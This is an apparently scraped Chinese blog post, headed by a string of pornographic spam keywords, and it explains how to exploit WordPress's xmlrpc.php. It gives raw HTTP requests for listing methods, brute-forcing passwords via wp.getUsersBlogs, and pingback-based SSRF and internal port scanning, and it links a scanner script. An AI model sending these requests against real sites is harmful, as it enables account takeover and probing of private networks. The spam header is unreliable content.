日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪(fǎng)問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程语言 > php >内容正文

php

xmlrpc.php 漏洞利用

發(fā)布時(shí)間:2025/3/15 php 48 豆豆
生活随笔 收集整理的這篇文章主要介紹了 xmlrpc.php 漏洞利用 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

WordPress采用了XML-RPC接口.并且通過(guò)內(nèi)置函數(shù)WordPress API實(shí)現(xiàn)了該接口內(nèi)容。 所以,你可要通過(guò)客戶(hù)端來(lái)管理Wordpress。 通過(guò)使用WordPress XML-RPC, 你可以使用業(yè)界流行博客客戶(hù)端Weblog Clients來(lái)發(fā)布你的WordPress日志和頁(yè)面。同時(shí),XML-RPC 也可使用extended by WordPress Plugins插件來(lái)自定義你的規(guī)則。

0X01 激活XML-RPC

從3.5版本開(kāi)始,XML-RPC功能默認(rèn)開(kāi)啟。 早些版本,可通過(guò)如下方法激活:Settings > Writing > Remote Publishing and check the checkbox.

路徑:http://example.com/wordpress/xmlrpc.php

0x02 查看系統(tǒng)允許的方法

POST /wordpress/xmlrpc.php HTTP/1.1 Host: www.example.com Content-Length: 99<methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

0x03 賬號(hào)爆破

一般情況下,wordpress的管理后臺(tái)都會(huì)設(shè)置賬號(hào)登錄失敗次數(shù)限制,因此,可以通過(guò)xmlprc.php接口來(lái)進(jìn)行爆破。通常會(huì)使用wp.getUserBlogs、wp.getCategories和metaWeblog.getUsersBlogs這個(gè)方法來(lái)進(jìn)行爆破,也可以使用其他的方法。
構(gòu)造請(qǐng)求包:

POST /wordpress/xmlrpc.php HTTP/1.1 Host: www.example.com Content-Length: 99<methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>admin</value></param> <param><value>password</value></param> </params> </methodCall>

爆破成功會(huì)返回博客的內(nèi)容:

0x03 SSRF

WordPress 版本< 3.5.1
通過(guò)Pingback可以實(shí)現(xiàn)的服務(wù)器端請(qǐng)求偽造 (Server-side request forgery,SSRF)和遠(yuǎn)程端口掃描。
構(gòu)造請(qǐng)求包:

POST /wordpress/xmlrpc.php HTTP/1.1 Host: www.example.com Content-Length: 99<methodCall> <methodName>pingback.ping</methodName> <params><param> <value><string>要探測(cè)的ip和端口:http://127.0.0.1:80</string></value> </param><param><value><string>網(wǎng)站上一篇博客的URL:http://localhost/wordpress/?p=1)<SOME VALID BLOG FROM THE SITE ></string> </value></param></params> </methodCall>

IP和端口存在,返回包中的<value><int>中的值大于0:

利用腳本:
https://github.com/FireFart/WordpressPingbackPortScanner

0x04 讀取文件:

0x99 參考:

https://codex.wordpress.org/zh-cn:XML-RPC_Support
http://xmlrpc.com/
https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32
https://www.acunetix.com/blog/web-security-zone/wordpress-pingback-vulnerability/
http://lab.onsec.ru/2013/01/wordpress-xmlrpc-pingback-additional.html

總結(jié)

以上是生活随笔為你收集整理的xmlrpc.php 漏洞利用的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。